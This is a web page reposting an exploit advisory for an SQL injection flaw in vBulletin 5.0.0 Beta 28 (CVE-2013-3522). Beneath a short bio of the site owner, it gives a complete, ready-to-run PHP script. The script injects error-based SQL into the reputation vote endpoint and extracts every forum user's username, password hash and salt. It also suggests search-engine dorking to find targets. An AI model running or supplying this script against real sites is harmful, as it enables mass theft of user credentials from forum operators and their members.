Khalil Shreateh specializes in cybersecurity, particularly as a "white hat" hacker. He focuses on identifying and reporting security vulnerabilities in software and online platforms, with notable expertise in web application security. His most prominent work includes discovering a critical flaw in Facebook's system in 2013. Additionally, he develops free social media tools and browser extensions, contributing to digital security and user accessibility.

Get Rid of Ads!


Subscribe now for only $3 a month and enjoy an ad-free experience.

Contact us at khalil@khalil-shreateh.com

=============================================================================================================================================
| # Title : vBulletin 5.0.0 =============================================================================================================================================
| # Title : vBulletin 5.0.0 Beta 28 SQL Injection vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.vbulletin.com/ |
=============================================================================================================================================

POC :

[+] Dorking ?n Google Or Other Search Enggine.

[+] Code Description: SQL Injection Vulnerability in vBulletin 5 Extracts Usernames and Encrypted Data

(Related : https://packetstorm.news/files/id/180631/ Linked CVE numbers: CVE-2013-3522 ) .

[+] save code as poc.php.

[+] Set target : line 70

[+] PayLoad :

<?php

class VBulletinSQLiExploit {
private $target;
private $minNode;
private $maxNode;

public function __construct($target, $minNode = 1, $maxNode = 100) {
$this->target = rtrim($target, '/');
$this->minNode = $minNode;
$this->maxNode = $maxNode;
}

private function sendRequest($data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$this->target/index.php/ajax/api/reputation/vote");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);
return $response;
}

private function doSQLi($node, $query) {
$mark = bin2hex(random_bytes(4));
$injection = ") AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT CONCAT('$mark', ($query), '$mark') FROM information_schema.tables LIMIT 1), FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x) a) -- ";

$data = ['nodeid' => "$node$injection"];
$res = $this->sendRequest($data);

if (strpos($res, "Database error in vBulletin") !== false && preg_match("/$mark(.*?)$mark/", $res, $matches)) {
return $matches[1];
}
return null;
}

private function existsNode($id) {
return $this->doSQLi($id, "SELECT '1'") !== null;
}

private function findValidNode() {
for ($i = $this->minNode; $i <= $this->maxNode; $i++) {
if ($this->existsNode($i)) return $i;
}
return null;
}

public function exploit() {
echo "[+] Searching for a valid node...\n";
$node = $this->findValidNode();
if (!$node) {
echo "[-] No valid node found.\n";
return;
}
echo "[+] Using Node ID: $node\n";

$userCount = $this->doSQLi($node, "SELECT COUNT(*) FROM user");
echo "[+] Found $userCount users.\n";

for ($i = 0; $i < $userCount; $i++) {
$username = $this->doSQLi($node, "SELECT username FROM user LIMIT $i,1");
$password = $this->doSQLi($node, "SELECT password FROM user LIMIT $i,1");
$salt = $this->doSQLi($node, "SELECT salt FROM user LIMIT $i,1");
echo "[*] User: $username | Hash: $password | Salt: $salt\n";
}
}
}

$exploit = new VBulletinSQLiExploit("http://target.com");
$exploit->exploit();





Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================